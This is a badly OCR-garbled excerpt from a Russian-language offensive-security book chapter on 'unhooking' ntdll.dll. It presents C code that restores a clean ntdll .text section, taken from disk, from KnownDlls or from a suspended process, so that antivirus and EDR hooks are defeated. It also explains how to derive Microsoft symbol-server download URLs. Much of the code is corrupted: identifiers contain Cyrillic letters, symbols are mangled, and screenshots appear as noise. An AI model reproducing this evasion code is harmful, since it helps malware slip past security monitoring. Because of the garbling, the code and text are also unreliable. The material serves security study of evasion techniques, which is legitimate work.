DOS HEADER pLocalDosHdr = {PIМAGE_DOS_HEADER)pLocalNtdll;
1f (pLocalDosHdr->e_rnagic 1 = IМAGE_DOS_SIGNATURE)
return FALSE;
//
Получаем заголовок
PIМAGE
PIМAGE
NT HEADERS
pLocalNtHdrs
(PIМAGE _NT_HEADERS) ( (РВУТЕ) pLocalNtdll +
pLocalDosHdr->e lfanew);
Глава
17.
Познаем анхукинг
ntd/1.dll
if (pLocalNtHdrs->Signature !=
return FALSE;
IМAGE
319
NT SIGNATURE)
PVOID
pLocalNtdllTxt = NULL,
// Адрес секции .text хукнутой
pRernoteNtdllTxt = NULL; // Адрес секции .text анхукнутой либы
SIZE Т
sNtdllTxtSize = NULL; // Размер секции .text
PIМAGE_SECTION_HEADER pSectionНeader
for (int i =
О;
i <
=
либы
IМAGE_FIRST_SECTION(pLocalNtHdrs);
pLocalNtHdrs->FileHeader.NumЬerOfSections;
/ / if I strcrnp (pSectionНeader [i] . Narne,
if ( (*(ULONG*)pSectionНeader[i] .Narne I
11 •
text
11 )
==
Ох20202020)
i++) {
О )
== 'xet. ')
// Получаем адрес секции .text хукнутой ntdll.dll
pLocalNtdllTxt = (PVOID) ((ULONG_PTR)pLocalNtdll + pSectionНeader[i] .VirtualAddress);
#ifdef МАР NTDLL
pRernoteNtdllTxt = (PVOID) ( (ULONG_PTR)plJnhookedNtdll +
pSectionНeader[i] .VirtualAddress);
#endif
#ifdef READ NTDLL
pRernoteNtdllTxt = (PVOID) ( (ULONG_PTR)pUnhookedNtdll + 1024);
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRernoteNtdllTxt) {
pRernoteNtdllTxt = (PVOID) ((char*)pRernoteNtdllTxt + 3072);
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRernoteNtdllTxt)
return FALSE;
#endif
sNtdllTxtSize =
break;
if ( 1pLocalNtdllTxt
return FALSE;
11
pSectionНeader[i]
!pRernoteNtdllTxt
.Misc.VirtualSize;
11
!sNtdllTxtSize)
DWORD dwOldProtection = NULL;
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY,
&dwOldProtection))
printf( [!] VirtualProtect [1] Failed With Error : %d \n GetLastError());
return FALSE;
11
11 ,
Часть
320
memcpy(pLocalNtdllТXt,
pRemoteNtdllТXt,
111.
Способы обхода средств защиты информации
sNtdllTxtSize);
if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection))
printf("[!] VirtualProtect (2) Failed With Error : ;d \n", GetLastError());
return FALSE;
return
ТRUE;
Думаю, у вас появились вопросы по поводу следующего участка кода:
if
((*(OLONG*)pSectionНeader[i].Name
I
Ох20202020)
// Получаем адрес сеКЦl{И .text хукнутой ntdll.dll
pLocalNtdllTxt = (PVOID) ( (OLONG_ РТR) pLocalNtdl 1 +
lifdef
'xet. ') {
=
pSectionНeader [ i]
. VirtualAddress);
МАР NТDLL
pRemoteNtdllTxt
=
(PVOID) ( (UWNG_PТR)pUnhookedNtdll +
pSectionНeader[i] .Virtualдddress);
lendif
lifdef READ NТDLL
pRemoteNtdllTxt = (PVOID) ((UWNG_PТR)pUnhookedNtdll + 1024);
if (*(ULONG*)pLocalNtdllТXt != *(UWNG*)pRemoteNtdllTxt) {
pRemoteNtdllTxt = (PVOID) ((char*)pRemoteNtdllTxt + 3072);
if (*(UWNG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
lendif
sNtdllTxtSize =
break;
pSectionНeader[i]
.Misc.VirtualSize;
Смещение секции
тываем
. text различается в зависимости от того, каким образом мы счи
ntdll.dll с диска. Если мы считываем ее через createFileMapping(), то смеще
ние всегда будет таким:
pSectionНeader[i]
.VirtualAddress
Если же считывать через ReadFile(), то иногда выйдет
1024,
а иногда
4096.
закономерности не получилось, поэтому сначала мы добавляем смещение
Найти
1024,
проверяем, соответствуют ли байты по этому адресу байтам оригинальной, хукну
той
ntdll.
Если не соответствуют, значит, оффсет
поэтому добавляем
3072.
4096,
но мы уже прибавили
1024,
И вновь проводим проверку.
В результате чего мы сможем без проблем заменить одну библиотеку другой, что
позволит снять
хук.
Полный
код
-
в
моем репозитории
МzНmO/aгticles/ЬloЬ/main/unhooking/FromDisk.cpp ).
Есть
(https://github.com/
похожая
реализация
(https://github.comffheDlrkМtr/ntdlll-unhooking-collection/tree/main/Ntdll%20
Глава
17.
Познаем анхукинг
321
ntdll.d/1
U nhooking/1 %20-%20U nhooking%20NTDLL %20from %20disk) TheD 1rkМtr,
ETW.
он
добавил еще и патч от
Снятие хука через
KnownDlls
KnownDlls - специальный раздел в реестре, где содержатся DLL, которые загруз
чик Windows использует для оптимизации процесса загрузки приложений.
В Windows ХР и более ранних версиях каталог КnownDlls располагался в папке
C:\Windows\Systern32. В более новых версиях Windows этот каталог встроен в ОС, по
этому прямого доступа к нему нет. Список всех «известных» DLL можно найти вот
в этом разделе реестра:
НКEY_LOCAL_МACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\КnownDLLs
Извлечь библиотеку возможно с помощью функции NtOpenSection (), по неизвестным
причинам использование OpenFileMapping() приводит к ошибке ERROR_BAD_PATHNAМE. Про
тотип у функции следующий.
NTSTATUS NtOpenSection(
SectionНandle,
OUT
PНANDLE
IN
ACCESS
IN
POBJECT ATTRIBUTES
МАSК
DesiredAccess,
ObjectAttributes
);
Обратите внимание на последний параметр
-
ObjectAttributes. Его нужно инициа
лизировать с помощью функции Ini tializeObjectAttributes ().
VOID InitializeObjectAttributes(
AТTRIBUTES
р,
[out]
POBJECT
[ in]
PUNICODE STRING
n,
[in]
ULONG
а,
[in]
НANDLE
r,
[in, optional] PSECURITY DESCRIPTOR s
// NULL
// NULL
);
□ р-
указатель на структуру OBJECT- ATTRIBUTES;
□ n -
указатель на структуру UNICODE_STRING, которая будет содержать имя ntdll.dll
из Кnownoll;
□ s-
устанавливаем значение в овJ_ CASE _ INSENSIТIVE.
L" \KnownDlls \ntdll. dll";
UNICODE _ STRING. Buf fer
=
( PWSTR)
UNICODE_STRING.Length
=
wcslen(L"\KnownDlls\ntdll.dll")
UNICODE_STRING.MaxirnurnLength = UniStr.Length +
*
sizeof(WCНAR);
sizeof(WCНAR);
Теперь мы сможем без проблем передать инициализированный объект в функцию
NtOpenSection (),
а затем отразить
ntdll. dll
на адресное пространство текущего про
цесса через ранее описанный MapViewOfFile (). Предлагаю вновь свести всё до функ
ции, возвращающей адрес, по которому библиотека спроецирована в память.
Часть
322
111.
Способы обхода средств защиты информации
#include <winternl.h>
#define NTDLL L"\\КnownDlls\\ntdll.dll"
typedef NTSTATUS (NTAPI* fnNtOpenSection) (
PНANDLE
SectionНandle,
ACCESS МАSК
POBJECT ATTRIBUTES
DesiredAccess,
ObjectAttributes
);
ВOO1 MapNtdllFromКnownDlls(OUT
PVOID* ppNtdllBuf) {
hSection = NULL;
pNtdllBuffer = NULL;
STATUS = NULL;
NTSTATUS
UniStr = { О );
UNICODE STRING
ObjAtr = { О ) ;
OBJECT ATTRIBUTES
НANDLE
РВУТЕ
UniStr.Buffer = (PWSTR)NTDLL;
UniStr.Length = wcslen(NTDLL) * sizeof(WCНAR);
UniStr.MaximumLength = UniStr.Length + sizeof(WCНAR);
InitializeObjectAttributes(&ObjAtr, &UniStr, OBJ_CASE_INSENSITIVE, NULL, NULL);
fnNtOpenSection pNtOpenSection =
(fnNtOpenSection)GetProcAddress(GetModuleHandle(L"NTDLL"), "NtOpenSection");
STATUS = pNtOpenSection(&hSection, SECTION_МAP_READ, &ObjAtr);
if (STATUS != ОхОО) {
printf("[!] NtOpenSection Failed With Error : Ох%0.8Х \n", STATUS);
goto _EndOfFunc;
pNtdllBuffer = (PBYTE)MapViewOfFile(hSection, FILE_МAP_READ, NULL, NULL, NULL);
if (pNtdllBuffer == NULL) (
printf (" [ ! ] MapViewOfFile Failed With Error : %d \n", GetLastError ()) ;
goto _EndOfFunc;
*ppNtdllBuf = pNtdllBuffer;
EndOfFunc:
if (hSection)
CloseHandle(hSection);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
Глава
17.
Познаем анхукинг
323
ntdll.d/1
После получения адреса проверяем, что там действительно находится наша биб
лиотека (рис.
17.8).
Остается лишь так же грамотно распарсить РЕ и заменить одну секцию
. text
дру
гой. Здесь все проще, чем при чтении с диска. Всегда будет одинаковое смещение,
равное
В001
4096.
ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {
PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();
DOS HEADER pLocalDosHdr = (PIМAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr && pLocalDosHdr->e_magic != IМAGE DOS SIGNATURE)
return FALSE;
PIМAGE
PIМAGE
NT HEADERS
pLocalNtHdrs =
if (pLocalNtHdrs->Signature !=
return FALSE;
(PIМAGE_NT_HEADERS)
( (PBYTE)pLocalNtdll +
pLocalDosHdr->e_lfanew);
IМAGE_NT_SIGNATURE)
pLocalNtdllTxt = NULL,
PVCID
pRemoteNtdllTxt = NULL;
sNtdllTxtSize = NULL;
SIZE Т
PIМAGE_SECTION_HEADER pSectionНeader
for (int i =
О;
i <
=
IМAGE_FIRST_SECTION(pLocalNtHdrs);
pLocalNtHdrs->FileHeader.NumЬerOfSections;
i++) {
// if( strcmp(pSectionНeader[i] .Name, ".text") == О )
if 1(*(ULONG*)pSectionНeader[i) .Name I Ох20202020) == 'xet. ') {
pLocalNtdllTxt = (PVOID) ((ULONG_PTR)pLocalNtdll + pSectionНeader[i) .VirtualAddress);
pRemoteNtdllTxt = (PVOID) ((ULONG PTR)pUnhookedNtdll +
pSectionНeader [i). VirtualAddress);
sNtdllTxtSize = pSectionHeader[i] .Misc.VirtualSize;
break;
if
1 'pLocalNtdllTxt
return FALSE;
11
pRemoteNtdllTxt
1
11
!sNtdllTxtSize)
if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
return FALSE;
DWORD dwOldProtection = NULL;
if ( 1VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY,
&dwOldProtection))
printf("[') VirtualProtect [1) Failed With Error : %d \n", GetLastError());
324
Часть
111.
Способы обхода средств защиты информации
с:
о
~
ф
11)
с:
ф
а.
о
z
+
~
~~
111
::?i
..,
ф
а.
ф
:т
ф
s
:,:
111
1D
о
а.
s
~
ф
о
а.
с
a:i
...,-.:,.;
s
11.
Глава
17.
Познаем анхукинг
325
ntdll.d/1
~
~
z
~
о
..J
а.
ij'
С1)
а.
~
о
,::
~
s
:,:
nJ
а.
)(
l
oi
....,-.:
u
:s:
о.
326
Часть
111.
Способы обхода средств защиты информации
~
~
~
Е
~Q.
ij'
8.
:а:
о
r::::
~
s
:i::
ra
Q.
х
~
....,-:
....
С)
c.i
s
а.
Глава
17. Познаем анхукинг ntd/1.d/1
327
(О
со
)(
о::
i::;
q
ф
:Е
:Е
"'е0
С1.
i:::
1D
~
i:::
(О
со
)(
.......:
...
..:
c.i
s
о.
328
Часть
111.
Способы обхода средств защиты информации
..,
~
<D
со
)(
('Q
:,:
...s
.а
:,:
С1)
:!i
cf
,::
"'u
...
::ii
:!i
С1)
('Q
,::
::ii
:!i
<(
....,..:f'oi
....
u
s
о.
Глава
17.
Познаем анхукинг
329
ntd/1.dll
return FALSE;
memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);
if ( 1VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection))
printf("[ 1 ] VirtualProtect [2] Failed With Error : %d \n", GetLastError());
return FALSE;
return TRUE;
Код буквально скопирован из предыдущей части главы. Разве что теперь оффсет
всегда один и тот же. Для чистоты эксперимента можем проверить, что действи
тельно копируется одна секция
Полный
код
я
выложил
на
. text
на другую (рис.
GitHub:
17.9, 17.1 О).
https://github.com/МzHmO/articles/ЫoЫ
TheD 1rkMtr есть своя
rkМtr/ntdlll-unhooking
1
heD
b.comff
https://githu
метода:
этого
реализация
collection/tree/main/N tdll%20U nhooking/2 %20-%20U nhooking%20NTD LL %20
from %20KnownDlls.
main/unhooking/КnownDll.cpp. И опять же, у нашего друга
Здесь есть одна особенность, о которой важно знать: вы должны использовать
64-
битную программу на 64-битной системе. Если запускать программу для х86 на
системе х86-64, то в процессе будет находиться ntdll.dll для х86, а из КnownDll при
летит
DLL
для х86-64, что при перезаписи приведет к крашу (рис.
17.11, 17.12).
Снятие хука через приостановленный процесс
Любой процесс в
Windows
можно запустить в приостановленном состоянии. Для
в функцию CreateProcess 1) флаг CREATE SUSPENDED либо
DEBUG _PROCESS. Причем в таком состоянии в процесс будет подгружена только
ntdll.dll (рис. 17.13).
этого достаточно передать
Затем, возобновляя основной поток процесса, например через ResumeThread (), подтя
гиваем в него оставшиеся библиотеки (рис.
17 .14 ).
Вы можете проверить это самостоятельно с помощью простого кода.
#include <windows.h>
#include <iostream>
int main () {
STARTUPINFO si;
PROCESS_INFORМATION
pi;
ZeroMemory(&si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi) );
Часть
330
///.
Способы обхода средств защиты информации
х
То,о1$
1--1~ v~
U\.efs
- ·-
Нirlp
~_,.......,
~R,f,.,. О о,,,..,... , .,..,_.,оо,
Рtос.,н,
~
~
[м8{
....__,...,
MS&wd.tirt
V
v ■ ~.
, ....о,,..,.
16772
1 Ш6
l'Qtepidot
• Proceuti.ck:er.exe
v ■ NYIOIA WеЬ Нei"pet'.exe
■ ,ooltosl.h,
1imox,e,кt
firefoxne
• firekж.e.
W riretouw
W firtfouп
17120
13004
816
13376
-
~ O P,U.!1
wtNPC\МКNC!t
Dncnp<ЮII
MICJOJOftEdg,eWtbY\fw2
о
.........
Olt7fМ70it-
OIOfNN170...
SIJe OncnpCa&м
114 ltl . _ _,
t,,1._ ~~NТ
,мс
• r•. -
е Git№ЬOнaop.exe
27,IS М8
-
12Ш
• fire~
W flret~
Priv•W Ьу\6 l.llitt "8n'lt
9812
'l) firefouц
v Ci) G<tНul>Desldc,o..,.
r_
176 8/S
9820
8272
6980
9720
107S2
<lli
16880
. ftrdoiц:мit
1/О ЮС.
7564
'4l8
W rlrefOUR
'l) flrtf°"""
'l) firef.,....
• n,.-
О, 14
17SS6
"'91-
о-
•
-
CPV
1)088
-
V
V •
PID
,.,,.
18048
fН72
-
14588
124'0
Ci) G/u.ьо.,ьс,р_..,
10420
,aip.m,
17536
Рис.
17.13.
Одна библиотека
if (!CreateProcess(L"C : \\Windows\\System32\\notepad . exe" ,
NULL,
NULL,
NULL,
FALSE ,
CREATE_SUSPENDED ,
NULL,
NULL,
&si,
&pi)
) {
std::cerr « "CreateProcess failed (" « GetLastError( ) « ").\ n";
return -1;
std: :cout << "The process is created in suspended state. \n ";
getchar();
if (ResumeThread(pi.hThread) == -1) (
std:: cerr « "ResumeThread failed (" « GetLastError () « ") . \n ";
return -1;
V•n1
ТооЬ:
••
........ о-
2.oR
Р1()
CPU 1/0tot.i ,_
~ t e t,w\a
c::c:i x
Userмme
...
!<Ша
124-40
,.,..
13176
116
17820
0,С
1
-
~---
~
~
fdШ.dl
~ w i ....
l mмп.118
Рис.
17.14.
-
.,_........,
_ _ _ ___. ...,,
Прно
-
;i ..,__. _........,
Подключение недостающих библиотек
WllilldDwlffТ
w..r... мscп:
~с~~
Шtl
''19.7МВ ~
~
128118
~
МiO'..ift:~ ~
~
-
IIO'lldМIIL.
,Ndf,c8
~
u ... ""-'-........,,..... ,._
'7'118
L,08 . .
~,._
~
.. .
~ . . w..r---•WlllldoМ.-
Ж118.....__......,........,__
n ..
l,.OI" Q)IOlll:OU
. . . ~ . . . . МО:Z№,-
1.n " cmo..ou.
..... , . . . . ~ ~ l l t .-
...,.....N'f.....,....._
W•Nic788aftc-..ur~
1..18118
~
IIIQМ.,,..,...
CIOlfdМ180-
~
~
8IOllidtolt~
811711WМe.tL.
-
eotfeм1L
~
'41:n181Dftc:oм.-м-...
. . . Мk:rмDlt~DI
1.»•
1'08118СОМ•~ос-t
sall8-.....~......__
. . . . p.,....... . . . . . . . . N'L_
.....
1 ~
1
.......
~·
,,.
.......,,.__ ..,
,
___
"""'""""
....... ......,~~""
__
27,12 МВ WINPC\МiCNe
~
~8"0'fN5e.1dt-
~ ·
,.,. 1 ......
6972
12852
1611111)
422-4
1940
101',!
9720
6980
8272
,,
17S56
1)01111
15204
16524
61"
S428
18048
11540
. _ . . , , , . ...,...._,Q.12G8(3<D4!<1 - - 1 7 9
е ...._
v8 8 -...
8 Gi-
v·-
v ■ NYIDIA---
r;i.......,.;;; -
:,....,,..._
....,.......
v8 - . . , . .
vu-
10,а
·._
--·- . ---- -- .
-------.
.
,
·l
·....
···-·- . J ...........
·- ....
·'---
......
Р,,ос.м:м.s.,,м..
~
• - -.. ou.s ~ _ , .........,.
\Jtler1:
Нktet Г-МНРС'-~tи~J•
~- • -
Н1~(.мr
Proc:ess
Слрка
С'Р1, а."61
...
100!<
W""'°"'(CRLf)
1/Тf-8
о
х
1
ф
)(
......
(А)
(А)
~
%
:::,
(\)
::i:
t:
~
::i:
Q)
3:::
1~
(А]
о
::i
:--,
......
Q)
С\)
Q)
;,
332
Часть
111.
Способы обхода средств защиты информации
getchar();
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread};
return
О;
В библиотеке ntdll.dll, которая находится в приостановленном процессе, могут от
сутствовать хуки по той причине, что оставшиеся
DLL, в том числе антивирусные,
банально не подгрузились. Конечно, такое поведение встречается все реже и реже,
но о нем не стоит забывать совсем.
Поэтому остается лишь получить базовый адрес загрузки этой ntdll.dll, достать его,
а затем скопировать секцию. text на
гвоздка
-
для копирования секции
ntdll .dll своего процесса. Единственная за
. text требуется знать ее размер. Достать, ко
нечно же, можно и через парсинг РЕ. Предлагаю свести всё до отдельной функции,
которой нужно передать базовый адрес библиотеки, а она вернет ее размер.
SIZE_T
GetNtdllSizeFrornВaseAddress(IN РВУТЕ
pNtdllModule} (
PIМAGE_OOS_НEADER pimgDosHdr = (PIМAGE_OOS_HEADER)pNtdllModule;
if (pimgDosHdr->e_magic 1= IМAGE_OOS_SIGNATURE)
return NULL;
PIМAGE_NT_НEADERS pimgNtHdrs = (PIМAGE_NT_НEADERS) (pNtdllModule + pimgDosHdr->e_lfanew);
if (pimgNtHdrs->Signature != IМAGE_NT_SIGNATURE)
return NULL;
return pimgNtHdrs->OptionalHeader.SizeOfimage;
Остается всего ничего
-
прочитать память процесса, который мы запустили в при
остановленном состоянии. Опять же реализуем отдельную функцию, которая вер
нет адрес
В001
ntdll. dll.
ReadNtdllFromASuspendedProcess(IN LPCSTR lpProcessName, OUT PVOID* ppNtdllBuf) {
СНАR
cWinPath[МAX_PATH
/ 2]
О
СНАR
cProcessPath[МAX РАТН]
О
);
);
PVOID pNtdllModule = FetchLocalNtdllBaseAddress(};
РВУТЕ pNtdllBuffer = NULL;
SIZE Т sNtdllSize = NULL,
sNшnЬerOfBytesRead = NULL;
STARTUPINFOA
PROCESS INFORМATION
Si = { О ) ;
Pi = { О ) ;
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO) );
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORМATION) );
Глава
17.
Познаем анхукинг
333
ntd/1.dll
Si.cb = sizeof(STARTUPINFO);
if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == О)
printf (" [ 1 ] GetWindowsDirectoryA Failed Wi th Error : %d \n", GetLastError ());
goto _EndOfFunc;
sprintf s(cProcessPath, sizeof(cProcessPath), "%s\\Systern32\\%s", cWinPath,
lpProcessNarne) ;
if ( 1CreateProcessA(
NULL,
cProcessPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS,
NULL,
NULL,
&Si,
&Pi))
printf("[ 1 ] CreateProcessA Failed with Error
goto EndOfFunc;
%d \n", GetLastError());
sNtdllSize = GetNtdllSizeFrornВaseAddress( (PBYTE)pNtdllModule);
if ( ! sNtdllSize)
goto _EndOfFunc;
pNtdllBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sNtdllSize);
if ( 1pNtdllBuffer)
goto _EndOfFunc;
if ( !ReadProcessMernory(Pi.hProcess, pNtdllModule, pNtdllBuffer, sNtdllSize,
&sNurnЬerOfBytesRead)
sNtdllSize)
11 sNurnЬerOfBytesRead 1=
printf("[!] ReadProcessMernory Failed with Error : %d \n", GetLastError() );
printf("[i] Read %d of %d Bytes \n", sNurnЬerOfBytesRead, sNtdllSize);
goto ~EndOfFunc;
*ppNtdllBuf
pNtdllBuffer;
if (DebugActiveProcessStop(Pi.dwProcessid) && TerrninateProcess(Pi.hProcess,
// Дополнительно здесь можно дернуть TerrninateProcess()
EndOfFunc:
if (Pi.hProcess)
CloseHandle(Pi.hProcess);
О))
(
334
Часть
///.
Способы обхода средств защиты информации
"'s
:,:
...
Q)
J
s
t:;
о
:,:
!;;
Q)
а.
а.
о
"'
ro
"'
а.
Q)
111
о
а.
с
....lt)
........:
cJ
s:
а.
Глава
17.
Познаем анхукинг
335
ntdll.d/1
if (Pi. hThread )
CloseHandle( Pi.hThread);
if (*ppNtdllBuf == NULL)
return FALSE;
else
return TRUE;
Оффсет в таком случае будет стандартный
Как всегда, на
GitHub
4096
-
(рис .
17. l 5).
можно посмотреть исходники моей реализации
(https://
github.com/МzHmO/articles/ЫoЬ/main/unhooking/SuspendedProc.cpp) и реализа
(https://github.comffheDlrkМtr/ntdlll-unhooking-collection/
TheD l rkMtr
ции
tree/main/N tdll %20U nhooking/3 %20-%20U nhooking%20NTD LL %20from %20
Suspended %20Process ).
Снятие хука через подгрузку
ntdll.dll
с удаленного веб-сервера
Думаю, это самый интересный способ . Он основан на том , что есть прекрасный
сайт winbindex.m4 l 7z.com (https://winblndex.m417z.com/?file=ntdll.dll, рис. 17. 16),
где приведены ссылки на nt dll. dll практически для любой версии
•
'
•
i) •
•
i)
'
•
'
<
•
Windows.
1
....
J
·•1111
ntdll.dll - Winblndex
NT Layer DLL
entries
Show 10
Updata
~
.
11
В1
Search:
File arch
.
х64
Fil• varsion
.
10.0.17763.4644
FI!.
slza 1
1.91
мв
КJi5.QZJill!!
10.0.17763.4644
х86
1.6
мв
Extra
Download
11111W
1·1111
V
Рис.
17.16.
Сайт с
ntdll .dll
Часть
336
111.
Способы обхода средств защиты информации
Нам остается лишь разобраться, как генерируются ссылки. С ходу этого сделать не
получилось. Предпоследняя часть
волов
не более чем непонятный набор сим
URL -
.
.. . dll/283EB25Dlef000/ntdll .. .
... dll/54219Al0209000/ntdll .. .
Вручную перебрав все ссылки с первой страницы (не на питоне же автоматизи
ровать, в самом деле, мы ведь серьезные люди), заметил, что у двух ссылок есть
повторяющиеся в конце шесть символов (рис.
17.17, 17.18) .
. .. dll/2451EFDD1af000/ntdll .. .
. .. dll/4028FADClaf000/ntdll .. .
'
.
(')
.
i1
.
'
• •
NT
. ..
Show 10
....,
'
~
Windows •
U~t• ..
Windows 10 1809
кз=ш ·
49feac._
Windows 10 1809
~
c393d8..-
Windows 11
21Н2
КВ5Ql72Э2
-43Ь4Sd. ..
Windows 11
21Н2
~~J
f268f8,_
Windows
c6d97 ../
Windows 11
Ь6f584_
Windows 1021Н2 (•])
КВSО2729Зt+1)
Зб2d4f...
Windows 1021Н2 (+t)
~
215753_
Windows 11
1122Н2
.. / .
ndows 11
SНA2S6
Dll
entr~
8f2ЬЮ..
Sa56Ь9
~
22Н2
22Н2
22Н2
Windows
каsшzзш
1
f".&..-ch •
"64
...
...
...
...
...
t+ 1)
"64
,•Jl
х64
кv=wJ
х64
=
"64
=
.........
Updot,
rn.-
10.0.1776314644
1.91
10.0.17763.4644
1 .бМВ
10д220002124
2.03 мв
10.0.220(Х)..2124
1.6S MB
10.о.2262 1 . 1 928
2.07М8
1О.о.22621 . 1928
1.67 мв
10.0.19041.31S5
1.93М8
10.0.19041.3155
1.62
мв
10.Q.22621.1&48
2.07
мв
10.0.22621 . НИS
1 .67М8
Rlewnlon
Rle..,_
2
Pt'eVious •
17.17.
В11
....т
FiieV8'StOn•
Showing 1 to 10 of 437 entries
Рис.
~
• •
п
Повторяющиеся символы
11111
мв
3
---------------"""'
Download
1118'
"""'
4
'
Download
...
1
Наученный горьким опытом решения стеганографического чуда на
CTF,
мой вос
паленный мозг понимает, что это зацепка. Копируем эти символы и начинаем ис
кать. Обнаруживаем интересную кнопку
Show,
которая позволяет получить больше
информации о файле. Наш lafOOO нигде не встречается, но попробуем конвертиро
вать из НЕХ в десятичное значение. И фортуна посмотрела в нашу сторону! Это
оказался параметр virtualSize (рис.
17 .19).
Вычленяем первую часть, также конвертируем ее в десятичное значение и узнаем,
что это timestamp (рис.
17.20).
Глава
17.
Познаем анхукинг
337
ntd/1.dll
n
n
Show
,о
SНA2S6
8f2Ьf0
__
'
. . '' . .
NТl.ye,DU
--
◄ 9/,х..
Wlf'ldoм
c393d8...
Windows 11
◄ ЗЬ45d. ..
Windows
=
Q W ZZ9Zf•J)
11 2 1 Н2.
Uli!IZZШ..(ill
t2.68f&...
Windows 11 22Н2
ICBS0273Q3 (+ 1\
c6cf97._
Windows 11
22Н2.
~
- -
Wiodo!nJJUJ&WJ
~
362:~f._
~ )
iш=(tl)
215753-~
WU"ldows
.,
SНAZ5'
-
1122Н2
Windows , ,
...
...
...
...
...
...
...
...
...
...
=ш
10 1809
21Н2
S.561>9..
........
11
и..-·
"
Wкdows1018QIJ
u:i!IZШ.1
=
22Н2
.......
и..-
-..... -
,.__,. ,,
"
10.О. 1 7763А644
10..0. 1 776З ...ы4
10Jl22000.2124
мз ме
1.6SMB
10.D.2262.1.1928
z.он,в
10.D.2262:1.1928
1 .67МВ
10.0. 19041 .З t SS
1.fl M8
10.0.1904 1 .З t SS
1 .62 МВ
tQ..0.22621.1848
2Л1 М 8
10.022621.1848
,.__,
. "'"""' .
17.18.
1 .6 МВ
10.0.22000.2124
Showing 1 to 10 of ◄ 37 entrм!S
Рис.
"
1.91М8
Повторяющиеся символы
.....
1.67
мв
,
)
---------------.....
.....
◄
В1
s
◄◄
2
• . .cllin.- Tyo,e• : )32 ,
•8d5• :
"sha l" :
•~892~c7•1!1lSЧb59<:~7«etl6})",
" 6cS63c4.fic-dfd l 5l~IS8fd lи1" 92N661Ь8778",
"s:ll"•tuгefypr" :
"ОУ1!1гl ,1у •,
"-'i&fllntO•te " : [
"2t2) · 86 · MTe2 : ... : M"
,.
•~гstor, • :
"le.t. 22621. 1&48 (V:lrt8uild . lИ181 . eeet )",
"Yirtu•lS{ie• : -
}.
11 .....,,,.,..
..,,_.,_
·•tndoof'SVl!lrslons· : f
"11 - 12"2 " : {
"-64 _•1c.-OЯ>ft
••indooos • ntdll_ 3
........
. ..----=-------....
}.
Рис.
17.19.
Обнаружение смысла второй части
Next
Часть
338
Способы обхода средств защиты информации
111.
"ffleinfo": {
"elcscription": "NT Liiycr DLL",
"lllllChincType":
"MS":
ЗЗ2,
"99489258сс74е25-4сЬ59сбdс7ссеьб33",
"sh11l":
"6c563c46edfd15lbЬd9158fdl5ef9280661Ь0771!",
"sha2Sб"
:
"Sа5бЬ962ее64582~сdе52с8593е39сбебсd3с 73ее11Нсее 349351,с
117 3bi11J. 311",
"si1n•t urcType": "Overlily",
"sianiniOilte": [
·2е2з-ео-еs1е2 :04 :&е"
1,
"si1nin&St11tusu: "Sianed",
"si1.c": 1748944,
-н-st•"P"- ~
•yerston·:
·1е.е.
.
22621.1348 (llfinBui ld .160101.esee) • ,
"virtuillSi н": 1765376
},
"wirн:lows...,crsions":
{
"КВ58272Зl":
{
"1'IOW64 _мi crosoft ••1 nйows • ntCI l l_ЗJ
"bull(H)PC": "reltilSC".
"l11n1u111e•: "ncutr11l",
8811
"put)licKcylokcn": "31ttf38
"version": "18.8.22621.11!
~versionScope": '" non5x5"
••ttribut~s": [
"destin•tionP11th": "!
"i-iюгtP•th'":
"S(ЬuiJ
Сору
8111
Ооо
о
...
о,
о,
.....
.....
1118
....
Qн,,
~""
о,_
"n•11e": '"ntOll,d11",
17.20.
1118
'
ii, , . .
{
Do"vnload
609349597
.... '"' .... ..., ....., '"' ....
18i8
"naR": "l'licrosoft-Winoo.
"processorArchi tecturc":
Рис.
.
• ,.,
"11·22ti2": {
... ...
...
,., ...
...
о,
-
;
А
"
""
в
1111
1111
...
..,
.. .
с,
с
7
8
9
D
4
s
6
Е
3
F
to cl1ptJotJ1d
Обнаружение смысла первой части
Остается лишь додуматься, как получить эти данные. У ntdll. dll тоже обычный РЕ,
поэтому стоит глядеть именно в эту сторону. Временную метку получится извлечь
из структуры IМAGE _FILE _HEADER (рис.
А
размер
(рис.
получаем
из
17.21 ).
элемента
SizeOfimage
структуры
IМAGE
OPTIONAL HEADER
17.22).
Есть еще SizeOfCode, но это размер непосредственно кодовой части. Я подозреваю,
что секции
. text, поэтому она нам не подходит. Нужен размер всего образа файла
ntdll.dll.
Поэтому остается лишь запрашивать эту информацию из системы, а затем генери
ровать
URL определенного вида.
https://msdl.microsoft.com/download/symЬols/ntdll.dll/'strconcat(hex(IМAGE
FILE HEADER
TimeStamp), hex (IMAGE _OPТIONAL _HEADER SizeOfimage 1) '/ntdll. dll
После чего, используя WinHTTP, качаем нужную библиотеку и внедряем в свое
адресное пространство ее секцию
. text взамен хукнутой. Алгоритм получения биб
лиотеки с сервера тоже укладывается в одну маленькую функцию.
#include <algorithm>
#include <string>
#define FIXED URL
L"https://msdl.microsoft.com/download/symЬols/ntdll.dll/"
Глава
17.
Познаем анхукинг
ntdll.d/1
339
а.
Е
ro
iп
Q)
Е
.:;
......
ro
"'ro
а.
~
о
...
,-:
...
N
c.i
:s;
